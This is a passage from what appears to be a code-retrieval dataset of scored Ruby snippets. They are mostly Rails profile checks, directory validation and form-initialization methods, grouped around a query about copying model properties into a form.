&& mkdir -p puppet/profiles/#{relative_path}/manifests`\n end", "title": "" }, { "docid": "dd1ecdbb328839356534940a478dfefd", "score": "0.48657784", "text": "def verify_presence_of_profile\n if current_user.profile.nil?\n redirect_to new_profile_path, alert: 'Please create a profile before proceeding'\n end\n end", "title": "" }, { "docid": "ddc9ba35fbe500fb78d19c7b94f25a09", "score": "0.48640078", "text": "def validate_user\n @profile = Profile.find_by_user_id(current_user.id)\n\n if @profile.has_bod or @profile.has_tin or @profile.has_mand or @profile.has_fiddle\n redirect_to(signedinuserprofile_path) unless current_user.id.to_s == params[:id] or \n current_user.admin?\n\n else\n redirect_to(tutorials_path, notice: 'Your profile is empty! Purchase a tutorial or enter a voucher code to add tutorials to your account') \n end\n end", "title": "" }, { "docid": "7684bbb20814fadf286e2bd0c44a59f5", "score": "0.48518685", "text": "def probe_stat_in(dir); end", "title": "" }, { "docid": "2f371ce33a507c0192bc8b0a44ed7f66", "score": "0.48500136", "text": "def profile_config_exist?\n !@conf.empty? && @conf.key?(\"profile\") && !@conf[\"profile\"].include_controls_list.empty?\n end", "title": "" }, { "docid": "ab0fe1e3110952147316e66ce24ffaab", "score": "0.4844747", "text": "def profile_check(profile)\n Log.message(\"Checking freelancer #{profile.name} profile >>\")\n\n # Name check\n if displayed?(FREELANCER_NAME, nil, false)\n if get_element_text(FREELANCER_NAME).include?(profile.name)\n Log.message('Name attribute check successful')\n else\n Log.warning(\"Name attribute check failed\\nExpected: #{profile.name}\\nActual: #{get_element_text(FREELANCER_NAME)}\")\n end\n else\n if get_element_text(COMPANY_NAME).include?(profile.name)\n Log.message('Name attribute check successful')\n else\n Log.warning(\"Name attribute check failed\\nExpected: #{profile.name}\\nActual: #{get_element_text(COMPANY_NAME)}\")\n end\n end\n\n # Title check\n if displayed?(FREELANCER_TITLE, nil, false)\n if get_element_text(FREELANCER_TITLE).include?(profile.title)\n Log.message('Title attribute check successful')\n else\n Log.warning(\"Title attribute check failed\\nExpected: #{profile.title}\\nActual: #{get_element_text(FREELANCER_TITLE)}\")\n end\n elsif displayed?(COMPANY_TITLE, nil, false)\n if get_element_text(COMPANY_TITLE).include?(profile.title)\n Log.message('Title attribute check successful')\n else\n Log.warning(\"Title attribute check failed\\nExpected: #{profile.title}\\nActual: #{get_element_text(COMPANY_TITLE)}\")\n end\n else\n if 'No description'.include?(profile.title)\n Log.message('Title attribute check successful')\n else\n Log.warning(\"Title attribute check failed\\nExpected: No description\\nActual: #{profile.title}\")\n end\n end\n\n # Description check\n if displayed?(FREELANCER_DESCRIPTION, nil, false)\n @expected_text = profile.description.delete(' ...')\n actual_text = get_element_text(FREELANCER_DESCRIPTION).delete(\"\\n \")[0..@expected_text.length]\n\n if actual_text.include?(@expected_text)\n Log.message('Description attribute check successful')\n else\n Log.warning(\"Description attribute check failed\\nExpected: #{profile.description}\\nActual: #{get_element_text(FREELANCER_DESCRIPTION)}\")\n end\n else\n actual_text = get_element_text(COMPANY_DESCRIPTION).delete(\"\\n \")\n\n if actual_text.include?(@expected_text)\n Log.message('Description attribute check successful')\n else\n Log.warning(\"Description attribute check failed\\nExpected: #{profile.description}\\nActual: #{get_element_text(COMPANY_DESCRIPTION)}\")\n end\n\n # Skills check\n if get_elements_text(FREELANCER_SKILLS).to_s.include?(profile.skills.to_s)\n Log.message('Skills attribute check successful')\n else\n Log.warning(\"Skills attribute check failed\\nExpected: #{profile.skills}\\nActual: #{get_element_text(FREELANCER_SKILLS)}\")\n end\n end\n end", "title": "" }, { "docid": "b7878017210f6559410c5ab2d22a56a0", "score": "0.48412025", "text": "def load_certs!(dir: IdentityConfig.store.certificate_store_directory)\n Dir.chdir(dir) do\n Dir.glob(File.join('**', '*.pem')).each do |file|\n next if file == 'all_certs_deploy.pem'\n\n add_pem_file(file)\n end\n end\n end", "title": "" }, { "docid": "8a2187ce73212ebd6573a439fa4f325d", "score": "0.48382664", "text": "def checkDirectory(directory)\n\t #Make sure directory exists, making it if needed.\n\t if not File.directory?(directory)\n\t\t FileUtils.mkpath(directory) #logging and user notification.\n\t end\n\t directory\n end", "title": "" }, { "docid": "62ca05ea0e79dcd5badfaaf0c50e7736", "score": "0.48376", "text": "def valid_inputs?(profile_id, inputs)\n allowed_profile_inputs = DeploymentProfile.find_by_profile_id(profile_id).inputs.pluck(:human_name)\n invalid_inputs = inputs.keys.select { |input| !allowed_profile_inputs.include?(input) }\n invalid_inputs.blank? ? true : raise(\"Invalid input #{invalid_inputs} was provided for deployment profile\")\n end", "title": "" }, { "docid": "ef75a7da7d42a85c36c2f788eefcbf4e", "score": "0.4834062", "text": "def valid_dir?( directory )\n\t\t\tDir.exists?( \"#{ VIEWS_DIR }/#{ directory }\" )\n\t\tend", "title": "" }, { "docid": "6a251c5a5da887c93ed608576c5feeb4", "score": "0.48274213", "text": "def run_checks_recursively\n directories = Dir['*'].select { |f| File.directory? f }\n directories.each { |dir| Dir.chdir(dir) { run_checks } }\n if directories.empty?\n display_current_wd\n puts ' No directories found!'.red\n end\n end", "title": "" }, { "docid": "ef820212c8fce80850dc49e85953ff75", "score": "0.48269072", "text": "def check_files\n @files.each do |f|\n stat = File.stat f rescue error(\"File not found: #{f}\")\n error(\"File '#{f}' not readable\") unless stat.readable?\n end\n end", "title": "" }, { "docid": "c123d846425dcb3d4ae5ade69185f778", "score": "0.48175535", "text": "def validate_file!(filepath)\n unless File.exists? filepath\n raise ValidationError , \"No such file or directory '#{filepath}'\"\n end\n\n @@current_path = File.dirname(filepath)\n\n begin\n h = Oj.load_file(filepath)\n rescue => e\n raise ValidationError, \"File '#{filepath}' is not a valid JSON file:\\n#{e}\"\n end\n\n if h.kind_of?(Hash) and tpx_manifest?(h)\n DeepMerge::deep_merge!(load_manifest_files(h), h, {:merge_hash_arrays => true})\n delete_manifest_keys!(h)\n end\n\n validate!(h)\n end", "title": "" }, { "docid": "53b44798ba0693c4fa27f302e21c3234", "score": "0.48121", "text": "def load_profile(username, file)\n hash = load_profiles(file)\n if !hash.key?(username)\n puts ProfileDoesntExist.new(\"This profile does not exist\")\n return login_check()\n end\n profile = Profile.new(username)\n profile.add_starting_funds(hash[username]['starting_funds'])\n profile.load_investments(hash[username][\"investments\"])\n profile.update_available_funds(hash[username]['available_funds'])\n return profile\nend", "title": "" }, { "docid": "e75e7f23ebd6cacf75748f00217e6eb7", "score": "0.48108456", "text": "def load(profile, files: CONFIGURATION_FILES, dir: nil)\n # Read all known files\n streams = files\n .map { |f| [dir ? File.join(dir, f) : f, f] }\n .select { |path, _name| File.exist?(path) }\n .map { |path, name| [IO.read(path), name] }\n read(profile, *streams)\n end", "title": "" }, { "docid": "225c2fabb35934f767b6536921f11b3b", "score": "0.48094514", "text": "def valid?\n [File.exist?(path),\n File.directory?(path),\n File.extname(path) == '.app'].all?\n end", "title": "" }, { "docid": "d122e4bcea19e33784850ae63b49e8dd", "score": "0.48075703", "text": "def check_blazer_config\n orgs = Organization.ids.map { |id| \"org#{id}\".to_sym }\n blazer_orgs = blazer_config[:data_sources].keys - [:main]\n\n missing_orgs = orgs - blazer_orgs\n return if missing_orgs.empty?\n\n puts <<~MESSAGE\n [ERROR] Missing user#{'s' if missing_orgs.size > 1} from config/blazer.yml file:\n -> #{missing_orgs.join(\"\\n- \")}\n MESSAGE\n exit\n end", "title": "" }, { "docid": "4ebb6be667bebdf29038d6c9e2d4b541", "score": "0.4802904", "text": "def valid_repos?(profile_id, repos)\n allowed_profile_repos = DeploymentProfile.find_by_profile_id(profile_id).repos.pluck(:repo_name)\n invalid_repos = repos.keys.select { |repo| !allowed_profile_repos.include?(repo) }\n invalid_repos.blank? ? true : raise(\"Invalid repo: #{invalid_repos} was provided for deployment profile\")\n end", "title": "" }, { "docid": "867af7eab668c508aff6b35339da6cf7", "score": "0.4800317", "text": "def load_student_dirs\n\n ignored = []\n\n Dir::open( Dir::pwd ).each do |dir|\n if !EXCLUDED_FILES.include?( dir ) && Dir::exists?( dir )\n\n # Load students, ignore them if they're not valid repos\n begin\n @students << Student.new( dir, VCS::Git )\n rescue VCS::VCSException\n ignored << dir\n end\n\n end\n end\n\n @students.sort_by! { |student| student.dce }\n\n if !@start_student.nil?\n @students = @students.drop_while { |student| student.dce != @start_student }\n end\n \n @output.puts \"Ignoring #{ignored.join( \", \" )}\"\n @output.puts \"Loaded #{@students.count} student repositories\"\n @output.puts \"\"\n end", "title": "" }, { "docid": "ceb5001760dbafe4b733518d49e34549", "score": "0.47937718", "text": "def profiles\n @profiles ||= load_from('profiles')\n end", "title": "" } ]
15c7f1b36444dddf802b8fa58c731451
When the object is initialized, copy the properties from the cocina model to the form:
[ { "docid": "e73d36f18dfe5e490c59bf3bfaae3ee3", "score": "0.0", "text": "def setup_properties!(_options)\n embargo = model.access.embargo\n return unless embargo\n\n self.release_date = embargo.releaseDate.to_date.to_fs(:default)\n setup_view_access_properties(embargo)\n end", "title": "" } ]
[ { "docid": "c38225f703eec616c36d35bc80eecea5", "score": "0.64332527", "text": "def initialize(form_object)\n @form_object = form_object\n end", "title": "" }, { "docid": "c38225f703eec616c36d35bc80eecea5", "score": "0.64332527", "text": "def initialize(form_object)\n @form_object = form_object\n end", "title": "" }, { "docid": "975245dc3818b5dec438eff522ae6f03", "score": "0.6428307", "text": "def initialize(form)\r\n @form = form\r\n end", "title": "" }, { "docid": "6ac85f42ac76cc1eaf8d0ef3c9b0206b", "score": "0.6416361", "text": "def initialize(p_form, p_parent)\n\t\t\t@form = p_form\n\t\t\t@parent = p_parent\n super(p_parent)\n\n # Initialize attributes\n @@settings = nil\n @configuration = nil\n end", "title": "" }, { "docid": "328d13e0f2892411f9c30270bf85c62d", "score": "0.6379059", "text": "def initialize(form)\n @form = form\n end", "title": "" }, { "docid": "aaad2f6ef7e3a0eae3dd440855ee4590", "score": "0.61561334", "text": "def form_attributes\n model_representer.form_attributes\n end", "title": "" }, { "docid": "b3b09a9c9c1a6edc630c5ca12336afc3", "score": "0.615331", "text": "def set_form\n end", "title": "" }, { "docid": "ba947889bcda2d8b6a6fa0a98377f3da", "score": "0.6132403", "text": "def set_attributes\n @record.attributes = collect_form_attributes\n end", "title": "" }, { "docid": "e1a5d2ce2a033da423ab6a9b95a13366", "score": "0.60648227", "text": "def set_form_vars\n @in_a_form_props = true\n session[:field_data] = {}\n @edit = {}\n session[:edit] = {}\n @edit[:ae_class_id] = @ae_class.id\n @edit[:new] = {}\n @edit[:current] = {}\n @edit[:new_field] = {}\n @edit[:rec_id] = @ae_class.id || nil\n @edit[:key] = \"aeclass_edit__#{@ae_class.id || \"new\"}\"\n\n @edit[:new][:name] = @ae_class.name\n @edit[:new][:display_name] = @ae_class.display_name\n @edit[:new][:description] = @ae_class.description\n @edit[:new][:namespace] = @ae_class.namespace\n @edit[:new][:inherits] = @ae_class.inherits\n @edit[:inherits_from] = MiqAeClass.all.collect { |c| [c.fqname, c.fqname] }\n @edit[:current] = @edit[:new].dup\n @right_cell_text = if @edit[:rec_id].nil?\n _(\"Adding a new Automate Class\")\n else\n _(\"Editing Automate Class \\\"%{name}\\\"\") % {:name => @ae_class.name}\n end\n session[:edit] = @edit\n @in_a_form = true\n end", "title": "" }, { "docid": "abd99cfb4193343a3c1210c46f710a60", "score": "0.60562325", "text": "def setup_form\n if action_name == 'new' && curation_concern.respond_to?(:contributor)\n curation_concern.contributor << current_user.name if curation_concern.contributor.empty? && !current_user.can_make_deposits_for.any?\n end\n curation_concern.record_editors << current_user.person if curation_concern.record_editors.blank? && action_name == 'new'\n curation_concern.record_editors.build\n curation_concern.record_editor_groups.build\n curation_concern.record_viewers.build\n curation_concern.record_viewer_groups.build\n end", "title": "" }, { "docid": "048e24446527a59a5a5ae288f64f4bdd", "score": "0.604759", "text": "def initialize(p_form, p_parent)\n\t\t\t@form = p_form\n\t\t\t@parent = p_parent\n\t\t\tsuper(p_parent)\n\t\t\t\n\t\t\t# Initialize attributes\n\t\t\t@full_text = {}\n\t\t\t\n\t\t\t# Declare constants\n\t\t\t@@ellipse_chars = \"[...]\"\n\t\t\t\n\t\t\t@@max_length = {}\n\t\t\t@@max_length[:name] = 27 # characters\n\t\t\t@@max_length[:tags] = 25 # characters\n\t\tend", "title": "" }, { "docid": "fdea2cbd07d30ff627a98457c4f5a3b1", "score": "0.6010921", "text": "def form\n @form = CustomerForm.new\n end", "title": "" }, { "docid": "85d57503e9b763fffb0e45450c2f2ff7", "score": "0.6003601", "text": "def create_form_object\n # load the model plugin into a disposable Shrine subclass\n shrine_subclass = Class.new(shrine_class)\n shrine_subclass.plugin :model\n\n # create a model class with attachment methods\n form_class = Struct.new(attribute)\n form_class.include shrine_subclass::Attachment(name)\n\n # instantiate form object\n form_class.new(column_data)\n end", "title": "" }, { "docid": "5ee259aaeb58ffc02e5bb08e20fce959", "score": "0.59967285", "text": "def build_form\n super\n # Set up the multiple parameters for the date coverage attribute in the form\n cov_date = Date.edtf(@form.date_coverage)\n cov_params = Dataset::DateCoverageService.interval_to_params cov_date\n @form.merge_date_coverage_attributes! cov_params\n end", "title": "" }, { "docid": "ec713a7fdbf686e30d67d506c76dab24", "score": "0.5973586", "text": "def initialize(instance)\n @form = instance.form_version.form\n @instance = instance\n @is_new = @instance.id.nil?\n @controls = []\n form_metadata = FD::Metadata::Form.new(instance.form_version.metadata)\n @tree, @controls = build_tree(form_metadata)\n @connections = build_connections(form_metadata)\n end", "title": "" }, { "docid": "72acf2372ea3d6f3718b4a8f5f4516c6", "score": "0.59628856", "text": "def model_attributes(form_params)\n super.tap do |params|\n transform_nested_fields!(params)\n end\n end", "title": "" }, { "docid": "53a57682edf84416dd7c51e6536c327f", "score": "0.59609073", "text": "def fill_out_form(hash)\n self.main_title=hash[:main_title]\n self.main_author=hash[:main_author]\n self.co_authors=hash[:co_authors]\n self.publisher=hash[:publisher]\n self.place_of_publication=hash[:place]\n self.volume_title=hash[:volume_title]\n self.volume_information=hash[:volume_info]\n self.year=hash[:year]\n self.number=hash[:number]\n self.series_title=hash[:series]\n self.url=hash[:url]\n end", "title": "" }, { "docid": "408402bcd66b2cc097d6809dc38082aa", "score": "0.5955267", "text": "def set_form_vars\n @categories = Category.all\n @measurements = Measurement.all\n @locations = Location.all\n end", "title": "" }, { "docid": "5956f9ecadd346993fd37f14c84365ad", "score": "0.5943493", "text": "def before_initialize(attributes); end", "title": "" }, { "docid": "e85d043e6b9901df1074a36e76c22e91", "score": "0.59150463", "text": "def init\n @coi_form = BlanketCoiForm.new\n @coi_form.user_d = @user.id\n\n # They may have already filled out a COI form\n if @existing_coi_form = BlanketCoiForm.find(:first, :conditions=>{:user_id=>@user.id}, :order=>'version DESC')\n \n # They haven't finished their last form, redirect to edit that one\n if ! @existing_coi_form.committed\n redirect_to :action => 'edit', :id=>@existing_coi_form.id\n return\n \n # This is a new version of the same form, populate with the old form's data, and increment the version\n else\n @coi_form = @existing_coi_form.create_an_update\n end\n end\n \n if @coi_form.save\n render :action => \"edit\", :id=>@coi_form.id\n else\n flash[:notice] = \"There was a problem creating your COI form.\"\n redirect_to :controller=>'home', :action=>\"error\"\n end\n end", "title": "" }, { "docid": "77dcaf41048cfedf0b722737ca7eb34c", "score": "0.59124374", "text": "def initialized_edit_form\n form_class.from_intake(current_intake)\n end", "title": "" }, { "docid": "f8dbf5ccce4688fb90cc52b3576ba183", "score": "0.59100336", "text": "def initialized_update_form\n form_class.new(current_intake, form_params)\n end", "title": "" }, { "docid": "f8dbf5ccce4688fb90cc52b3576ba183", "score": "0.59100336", "text": "def initialized_update_form\n form_class.new(current_intake, form_params)\n end", "title": "" }, { "docid": "83d4d7d18352682776ae9ed148ed95b1", "score": "0.58883333", "text": "def initialize_prescription\n # if we haven't come from a find, then preset some attributes needed by the form\n if !self.id.present?\n\n initialize_pass_times\n# self.id ||= 0\n testDispense = Dispense.new\n # testDispense.date = Date.today\n # testDispense.quantity = 0\n testDispense.cost_basis = 0\n # testDispense.fill_price = 0.01\n\n # per Steve, pay type and amount default to 0\n self.payment_type = 0\n self.prescription_price = 0\n\n self.active = true\n self.date_written = Date.today\n self.dispenses ||= []\n# self.dispenses = [testDispense, testDispense, testDispense, testDispense, testDispense, testDispense]\n end\n end", "title": "" }, { "docid": "c50f72808a75c8e197bb8cf2fd0c1ed0", "score": "0.5880681", "text": "def form_object(obj)\n @page_config.form_object = obj\n end", "title": "" }, { "docid": "39859e4e2a50af22fec22f482ad5b722", "score": "0.58659595", "text": "def initialize form, config={}, &block\n @focusable = true\n @editable = false\n @cyclic_behavior = true\n @row = 0\n @col = 0\n @split_count = nil\n # this is the list of components\n @components = []\n # need to recalculate offsets and dimensions of all comps since new one added\n # to be done once in repaint, and whenever a new one added (in repaint)\n @recalc_required = true\n @row_offset = @col_offset = 1\n @suppress_borders = false\n super\n @orig_col = @col\n @use_absolute = true; # set to true if not using subwins XXX CLEAN THIS\n init_vars\n end", "title": "" }, { "docid": "f9a4d572b097d167d57f9fc70110bbaf", "score": "0.5861689", "text": "def form_attributes\n options[:form_attributes] || KonoUtilsBootstrapView4::EditableField.editable_fields_to_field_array(policy(model).editable_attributes)\n end", "title": "" }, { "docid": "5bb2576149fb276191bc23fa234bc576", "score": "0.58599454", "text": "def attributes\n super.merge(embeddable_forms: embeddable_forms_config)\n end", "title": "" }, { "docid": "f0f3730af288f32a2791604031612511", "score": "0.5843036", "text": "def form_attributes_config\n {}\n end", "title": "" }, { "docid": "e2998c1905cd6bb84ea2c88d0992dbb0", "score": "0.58387434", "text": "def pre_form\n\n end", "title": "" }, { "docid": "ef695d2fe3ccf9007f1949198dd518d8", "score": "0.5829698", "text": "def initialize_prescriber\n\n\t\t# if we haven't come from a find, then preset some attributes needed by the form\n\t\tif !self.id.present?\n#\t\t\tself.id ||= 0\n\t\t\tself.active = true\n# self.supervisors=[] unless self.supervisors.present?\n# self.supervisees=[] unless self.supervisees.present?\n\t\tend\n\tend", "title": "" }, { "docid": "cb2ba9c9aa092fe6aa089d737b92adb2", "score": "0.58226687", "text": "def edit_window_component(c)\n super\n c.form_config.items = [{:name => :title}, {:name => :author__first_name, :nested_attribute => true}, {:name => :author__last_name, :nested_attribute => true}]\n end", "title": "" }, { "docid": "b5b699f9c0408709a59dfc8c09105b94", "score": "0.58177775", "text": "def fill_form_with(attributes)\n fill_title_input_with attributes[\"title\"]\n fill_description_input_with attributes[\"description\"]\n fill_summary_input_with attributes[\"summary\"]\n # fill_youtube_link_with attributes[\"youtube_link\"]\n # fill_category_input_with attributes[:category]\n end", "title": "" }, { "docid": "dd85b43ea0744328a5d46b70b155ca29", "score": "0.5800479", "text": "def initialize(obj, form, field, opts)\n @obj, @form, @field, @opts = obj, form, field, opts\n end", "title": "" }, { "docid": "8edf15ad02f4be1887f141fb7878d123", "score": "0.57772917", "text": "def set_cform\n @cform = Cform.find(params[:id])\n end", "title": "" }, { "docid": "e27fe8fa9f87e610e6eb1a61a6cde5fe", "score": "0.576843", "text": "def initialize(form, current_user, collaborative_draft)\n @form = form\n @current_user = current_user\n @collaborative_draft = collaborative_draft\n end", "title": "" }, { "docid": "9c546e1a0c22d5cddf4154bdee68315c", "score": "0.5759611", "text": "def cb_rate_set_form_vars\n @edit = {}\n @edit[:new] = HashWithIndifferentAccess.new\n @edit[:current] = HashWithIndifferentAccess.new\n @edit[:new][:tiers] = []\n @edit[:new][:num_tiers] = []\n @edit[:new][:description] = @rate.description\n @edit[:new][:rate_type] = @rate.rate_type || \"Compute\"\n\n set_rate_details\n\n if params[:pressed] == 'chargeback_rates_copy'\n @rate.id = nil\n @edit[:new][:description] = \"copy of #{@rate.description}\"\n end\n\n @edit[:rec_id] = @rate.id || nil\n @edit[:key] = \"cbrate_edit__#{@rate.id || \"new\"}\"\n @edit[:current] = copy_hash(@edit[:new])\n session[:edit] = @edit\n end", "title": "" }, { "docid": "a1ed6915f561cd6c47ca7efaa8a115e9", "score": "0.5757385", "text": "def initialize object_name, object, template, options\n options[:html]||={}\n html = options[:html]\n @form_class = options[:class]\n html[:class]=\"#{html[:class]} #{@form_class}\"\n html[:role]=\"form\"\n html[:autocomplete]||='off'\n html[:id]=options[:id] if options[:id]\n @builder_container = options[:parent_builder] || self\n if parent?\n @validations = {}\n html[:id]||=\"#{object_name}_#{object.object_id}\"\n @parent_id = html[:id]\n end\n super object_name, object, template, options\n end", "title": "" }, { "docid": "4749928a41335f66bf0843e25b1b2053", "score": "0.57571685", "text": "def attach_form c\n c.form = @form\n c.override_graphic @graphic\n c.parent_component = self\n end", "title": "" }, { "docid": "c4cf52c742c39a8191500ac83578905f", "score": "0.57359076", "text": "def build\n props = properties\n form_struct = Struct.new(:fields, *props) do\n props.each do |p|\n alias_method \"set#{p.capitalize}:\", \"#{p}=\"\n end\n end\n form_struct.new(form_fields, *values)\n end", "title": "" }, { "docid": "8a7796c951c62a89f02b0843f5b8c637", "score": "0.5726619", "text": "def prepare_form_data\n @reminder_types = ReminderType.all\n @contracts = Contract.all\n @akts = Akt.all\n end", "title": "" }, { "docid": "6f8156e86d3c65612413acc897668402", "score": "0.57239753", "text": "def populate\n copy_parent_to_form\n copy_child_to_form\n end", "title": "" }, { "docid": "0f7d2e60838d33c9f09b7811ba1db089", "score": "0.57176083", "text": "def create_form\n # ObjReturn.new({:rm_op_cities => operated_cities_arr, :rm_op_city_pairs => rm_op_city_pairs, :remaining_cities_arr => remaining_cities_arr, :remaining_city_pairs_arr => remaining_city_pairs_arr})\n Rm::RouteMasterService.new(route_master_id).construct_cities_and_city_pairs\n end", "title": "" }, { "docid": "6f359b1b8af6efe3cfa22336afeb4c24", "score": "0.5713136", "text": "def build_ingest_form\n @form = Metadata::Ingest::Form.new\n @form.internal_groups = @asset_map.keys.collect {|key| key.to_s}\n @form.association_class = OregonDigital::Metadata::Association\n end", "title": "" }, { "docid": "77c0e28230351e75308d16a9ca71dcd6", "score": "0.57094634", "text": "def initialize(the_instance = nil,the_form = nil,attributes = nil,presentation_name=nil,options = {})\n @cache = RecordCache.new\n @ficache = RecordCache.new if CACHE\n the_instance = FormInstance.new if !the_instance\n @form_instance = the_instance\n \n #TODO this is bogus!!\n #what about adding with_record here? more bogusness\n if the_form.nil?\n the_form = Form.make_form(the_instance.form.to_s)\n end\n \n @form = the_form\n \n if attributes\n set_attributes(attributes,presentation_name,options)\n end\n end", "title": "" }, { "docid": "c62b876bf39b21a6c5611dd247bca651", "score": "0.57012516", "text": "def form_attributes\n [:display_name, :legal_name, :legal_number] \n end", "title": "" }, { "docid": "c0552542e882fb19b201f8fd395f92be", "score": "0.56724083", "text": "def prepare_customer_form\n if current_user && @customer.profile\n @customer.profile.referal_id = current_user.code \n @customer.profile.referal = current_user.referral_category.name if current_user.referral_category\n end\n @referral = ReferralCategory.order(\"id ASC\")\n prepare_price\n end", "title": "" }, { "docid": "cbcc57fa4c26362c887afd9131b34b2a", "score": "0.566064", "text": "def fill_in\n @name_field.text = @name = @collective.name\n @client_field.text = @provider = @collective.provider\n @year_field.text = @year = @collective.year.to_s\n @billing_field.text = @billing = @collective.billing\n check_journals(@collective.journal_ids)\n end", "title": "" }, { "docid": "05202d27a62dfbc86ff1a6a9f5755421", "score": "0.56521946", "text": "def create\n @object = current_user.send(@model.collection_name).new(params[@model.name.underscore])\n if @object.save\n redirect_to form_renderer_path(@object, form: @form.id, application: @application.try(:id)), notice: \"Entry to #{@form.form_name} saved.\"\n else\n @attributes = @form.source_attributes\n @available_source_attributes = @relationship.direct_attributes\n @available_many_manies = @relationship.habtm_attributes\n @available_belongs_tos = @relationship.belongs_to_attributes\n render action: \"new\" \n end\n end", "title": "" }, { "docid": "4c5ddadeffb8658af85b4d31d78c26f0", "score": "0.5638748", "text": "def form; end", "title": "" }, { "docid": "73c25f55ade97fc3cd8187841a8c7e76", "score": "0.5629375", "text": "def create_from_form(type = :qdc)\n if type == :documentation\n @object = DRI::Documentation.new\n @documented = retrieve_object(params[:documentation_for])\n @object.documentation_for = @documented if @documented\n else\n @object = DRI::DigitalObject.with_standard(type)\n end\n\n @object.depositor = current_user.to_s\n @object.assign_attributes create_params\n end", "title": "" }, { "docid": "2fc342c10ee6432b611101a57a16e295", "score": "0.5626813", "text": "def initialize(attributes={})\n super\n \n # add topping-based field names as instance variables to the PreferencesForm so I can serve it all up in a web form (like a boss)\n PreferencesForm.field_names.each do |var_name|\n instance_variable_set(\"@#{var_name}\", :unlisted_toppings)\n \n # add accessors:\n eigenclass = class<<self; self; end # Magic from the internets, I have no idea what's going on here O_o\n eigenclass.class_eval do\n attr_accessor var_name\n end\n end\n end", "title": "" }, { "docid": "c5fef498d5e10f08d5ee2b9627878df5", "score": "0.5625326", "text": "def new\n @cocktail = Cocktail.new\nend", "title": "" }, { "docid": "277b1f5ba3e811a14d230e6d91367f92", "score": "0.56249803", "text": "def preconfigure_record_window(c)\n super\n c.form_config.klass = UserForm\n end", "title": "" }, { "docid": "4807a2fee3ee0f73bb78505c671213e8", "score": "0.5619566", "text": "def set_instance_attributes\n super\n end", "title": "" }, { "docid": "560ffbe3bd2188700da57e7d03b3c5d6", "score": "0.5615825", "text": "def initialize(control, configuration)\n super\n @fields = configuration[:fields] || []\n end", "title": "" }, { "docid": "0366f2b9ae32577a250e1fd1eb259899", "score": "0.56151104", "text": "def german_cruising_form_attributes\n @german_cruising_attributes ||= []\n end", "title": "" }, { "docid": "7b4d50a1ef7b73104c1f586fe0d3fd29", "score": "0.55969375", "text": "def assign_a_doi_form\n self\n end", "title": "" }, { "docid": "719ebc45a368c3232985c33b7742bdc2", "score": "0.55890757", "text": "def initialize(attribute, options, form_builder, template)\n\t\t@attribute = attribute\n\t\t@form_builder = form_builder\n\t\t@input_options = options\n\n\t\t#easy access\n\t\t@template = template\n\t\t@object = form_builder.object\n\t\t@object_name = @form_builder.object_name\n\n\t\t@options = HashWithIndifferentAccess.new(options.delete(:field_options) || {}).merge(options.extract! *FIELD_OPTIONS)\n\t\tdo_setup\n\tend", "title": "" }, { "docid": "5a232c7a2450e35cb3c3341925740f70", "score": "0.5580608", "text": "def set_instance_attributes\n end", "title": "" }, { "docid": "a72ec36e2f2133364cda7575d880eec4", "score": "0.5578149", "text": "def initialize_copy(from)\n super\n @view_component_name = from.view_component_name.dup if from.view_component_name\n @path = from.path.dup if from.path\n @locals = from.locals.dup\n from.table.each_pair{|k,v|@table[k] = v.dup if v}\n end", "title": "" }, { "docid": "dc9de6a7343934caa2dfd10d2e4264c6", "score": "0.55693716", "text": "def set_form_cultivo\n @form_cultivo = FormCultivo.find(params[:id])\n end", "title": "" }, { "docid": "a7696a1d8e94fd98d454360d951c9ea3", "score": "0.5567254", "text": "def initialize(model)\n\t\t@model = model\n\tend", "title": "" }, { "docid": "789d17baffbd6a6b2f82b438e5e3b54b", "score": "0.55600184", "text": "def initialize(attributes) #hash of name/model key value pairs\n attributes.each do |key, value| \n # binding.pry\n #self.attr_accessor(key)\n self.send(\"#{key}=\", value)\n end\n save\n end", "title": "" }, { "docid": "a7c93859447254385e4fcc8fc0b6e4ab", "score": "0.5558457", "text": "def form\n @form ||= OpenStruct.new\n end", "title": "" }, { "docid": "8a0c5e1dfc2107607f3b8d980a9476bd", "score": "0.5557311", "text": "def set_form_vars\n @edit = {\n :cb_rates => {},\n :cb_assign => {},\n }\n @edit[:new] = HashWithIndifferentAccess.new\n @edit[:current] = HashWithIndifferentAccess.new\n @edit[:new][:type] = params[:id] && ChargebackRate::VALID_CB_RATE_TYPES.include?(params[:id]) ? params[:id] : @tabform\n @edit[:key] = \"cbassign_edit__#{@edit[:new][:type]}\"\n ChargebackRate.all.each do |cbr|\n if cbr.rate_type == @edit[:new][:type]\n @edit[:cb_rates][cbr.id.to_s] = cbr.description\n end\n end\n @edit[:current_assignment] = ChargebackRate.get_assignments(@edit[:new][:type])\n unless @edit[:current_assignment].empty?\n @edit[:new][:cbshow_typ] = case @edit[:current_assignment][0][:object]\n when EmsCluster\n \"ems_cluster\"\n when ExtManagementSystem, ManageIQ::Providers::ContainerManager\n \"ext_management_system\"\n when MiqEnterprise\n \"enterprise\"\n when NilClass\n if @edit[:current_assignment][0][:tag]\n \"#{@edit[:current_assignment][0][:tag][1]}-tags\"\n else\n \"#{@edit[:current_assignment][0][:label][1]}-labels\"\n end\n else\n if @edit[:current_assignment][0][:object].class.name.split(\"::\").last.downcase == \"storage\"\n \"storage\"\n else\n @edit[:current_assignment][0][:object].class.name.downcase\n end\n end\n end\n if @edit[:new][:cbshow_typ]&.ends_with?(\"-tags\")\n get_categories_all\n tag = @edit[:current_assignment][0][:tag][0]\n if tag\n @edit[:new][:cbtag_cat] = tag[\"parent_id\"].to_s\n get_tags_all\n else\n @edit[:current_assignment] = []\n end\n elsif @edit[:new][:cbshow_typ]&.ends_with?(\"-labels\")\n get_docker_labels_all_keys\n assigned_label = @edit[:current_assignment][0][:label][0]\n if assigned_label\n label = @edit[:cb_assign][:docker_label_keys].detect { |_key, value| value == assigned_label.name }\n label ||= @edit[:cb_assign][:docker_label_default_keys].detect { |_key, value| value == assigned_label.name }\n @edit[:new][:cblabel_key] = label.first\n get_docker_labels_all_values(label.first)\n else\n @edit[:current_assignment] = []\n end\n elsif @edit[:new][:cbshow_typ]\n get_cis_all\n end\n\n @edit[:current_assignment].each do |el|\n if el[:object]\n @edit[:new][\"#{@edit[:new][:cbshow_typ]}__#{el[:object][\"id\"]}\"] = el[:cb_rate][\"id\"].to_s\n elsif el[:tag]\n @edit[:new][\"#{@edit[:new][:cbshow_typ]}__#{el[:tag][0][\"id\"]}\"] = el[:cb_rate][\"id\"].to_s\n elsif el[:label]\n @edit[:new][\"#{@edit[:new][:cbshow_typ]}__#{el[:label][0].id}\"] = el[:cb_rate][\"id\"].to_s\n end\n end\n\n @edit[:current] = 